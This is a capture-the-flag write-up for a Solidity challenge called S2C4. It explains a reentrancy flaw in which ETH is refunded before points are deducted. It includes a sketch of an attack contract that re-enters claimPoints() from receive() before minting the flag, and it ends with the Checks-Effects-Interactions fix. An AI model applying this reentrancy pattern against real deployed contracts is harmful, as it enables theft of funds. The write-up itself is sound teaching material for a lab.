Skip to content
On this page

S2C4: Reentrancy + Payment

1. Problem

The contract requires: (1) the caller to pay a certain amount of ETH, and (2) specific points/level conditions to be met before minting the flag. The contract uses call{value: ...} for refunds.

2. Cause

Similar to S1C5, the contract makes an external call (ETH transfer) before deducting points, leading to a reentrancy vulnerability. But this time, ETH also needs to be pre-deposited.

3. Solution

  1. Pre-fund the attack contract with sufficient ETH
  2. The attack contract calls the challenge contract's payment function
  3. Re-enter the key function in the receive() callback
  4. Call mintFlag once conditions are met
solidity
contract S2C4Solution {
    constructor(address challenge) payable {
        // Pre-deposit ETH
        challenge.call{value: requiredEth}("");
    }

    function solve() external {
        challenge.claimPoints(); // Trigger reentrancy
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (counter < TARGET) {
            counter++;
            challenge.claimPoints();
        }
    }
}

4. Pitfalls Encountered

ETH Balance Management: The attack contract needs to be pre-funded with sufficient ETH, and adequate gas must be ensured during reentrancy.

5. Why the Pitfall Occurred

The contract uses call{value: amount}("") to send ETH, which triggers the recipient's receive() function. If the refund amount is insufficient, subsequent logic may break.

6. How to Resolve

Deploy the attack contract with sufficient ETH attached (using the --value flag or making the constructor payable).

7. Technical Takeaways

PointExplanation
Reentrancy + ETH PaymentCombined attack: must handle both fund management and reentrancy logic
Payable ConstructorPre-deposit ETH into the attack contract at deployment time
CEI PatternChecks-Effects-Interactions prevents this type of attack

Built with AiAda